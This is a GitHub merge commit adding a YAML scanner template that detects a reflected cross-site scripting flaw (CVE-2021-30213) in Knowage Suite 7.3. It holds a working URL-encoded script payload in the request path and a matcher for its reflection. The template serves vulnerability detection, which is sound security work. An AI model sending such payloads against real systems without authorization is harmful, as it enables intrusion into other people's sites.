Merge pull request #3199 from alph4byt3/alph4byt3-patch-1

Create CVE-2021-30213.yaml
patch-1
Prince Chaddha 2021-12-03 12:52:11 +05:30 committed by GitHub
commit e53cdde0c0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 0 deletions

View File

@ -0,0 +1,31 @@
id: CVE-2021-30213
info:
name: Knowage Suite 7.3 XSS
author: alph4byt3
severity: medium
description: Knowage Suite 7.3 is vulnerable to unauthenticated reflected cross-site scripting (XSS). An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
reference: https://nvd.nist.gov/vuln/detail/CVE-2021-30213
tags: cve,cve2021,xss
requests:
- method: GET
path:
- "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C"
matchers-condition: and
matchers:
- type: word
words:
- '"><script>alert(document.domain)</script>'
part: body
- type: status
status:
- 200
- type: word
part: header
words:
- text/html